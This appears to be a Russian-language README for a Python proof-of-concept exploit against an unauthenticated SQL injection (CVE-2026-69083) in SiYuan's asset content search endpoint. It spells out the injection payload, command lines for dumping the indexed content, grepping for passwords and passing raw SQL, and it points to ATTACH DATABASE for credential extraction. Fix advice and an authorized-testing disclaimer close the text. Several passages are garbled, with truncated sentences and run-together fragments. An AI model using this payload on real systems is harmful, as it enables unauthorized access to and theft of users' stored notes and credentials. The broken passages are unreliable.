
Python PoC для CVE-2026-69083 — неаутентифицированная SQL-инъекция в конечной точке поиска по содержимому ресурсов SiYuan. Поддерживает обход через REGEXP и прямую передачу сырого SQL для выгрузки индексированных ресурсов и связанных данных SQLite.
Неаутентифицированная SQL-инъекция в SiYuan (приложении для создания базы знаний на Go) через конечную точку поиска по содержимому ресурсов.
POST /api/search/fullTextSearchAssetContent формирует необработанный SQL-запрос, конкатенируя
управляемое пользователем значение query прямо в условие REGEXP без экранирования
(kernel/model/asset_content.go, assetContentFieldRegexp):
SELECT * FROM `asset_contents_fts_case_insensitive`
WHERE (name REGEXP '<query>' OR content REGEXP '<query>') AND ext IN <types>
Одинарная кавычка в query позволяет выйти за пределы строкового литерала (CWE-89). Когда SiYuan развёрнут
без кода авторизации доступа (Conf.AccessAuthCode == ""), всё ядро рассматривает вызывающих как администраторов
без проверки учётных данных, поэтому инъекция полностью . — это
выход из REGEXP; дополнительно передаёт как необработанный SQL-запрос.
method:3method:2query< 3.7.36806 (без аутентификации, если не задан accessAuthCode)ATTACH DATABASE к другим SQLite-файлам) — например, извлечение учётных данных, которые операторы индексировали в заметкахТолько стандартная библиотека Python 3 — без зависимостей.
# dump the asset-content index (method 3 REGEXP break-out)
python3 exploit.py http://10.10.10.10:6806/
# only rows matching a keyword
python3 exploit.py http://10.10.10.10:6806/ --grep password
# method 2 raw SQL passthrough (select the 7 columns id,name,ext,path,size,updated,content)
python3 exploit.py http://10.10.10.10:6806/ \
--sql "SELECT id,name,ext,path,size,updated,content FROM asset_contents_fts_case_insensitive"
Полезная нагрузка по умолчанию:
query = "zzqx') OR 1=1 -- "
zzqx') закрывает группу (name REGEXP '...',OR 1=1 делает условие WHERE всегда истинным,-- закомментировывает остаток строки, включая завершающее AND ext IN <types> — которое в
противном случае является синтаксической ошибкой, когда types пуст (SiYuan генерирует AND ext IN без
значения после него, и ядро молча возвращает ноль строк при SQL-ошибке).Затем конечная точка возвращает все строки индекса содержимого ресурсов, а инструмент выводит
content каждой строки.
curl -s http://10.10.10.10:6806/system_stats # or browse http://10.10.10.10:6806/ (no login prompt)
Экземпляр SiYuan на порту 6806, который загружается без кода авторизации доступа, подвержен эксплуатации.
... REGEXP ?) и ограничивает путь необработанного
SQL в method-2 проверкой прав администратора.--accessAuthCode; никогда не оставляйте его без аутентификации — без
кода авторизации доступа весь API ядра открыт администратору.Только для авторизованного тестирования безопасности и обучения. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение.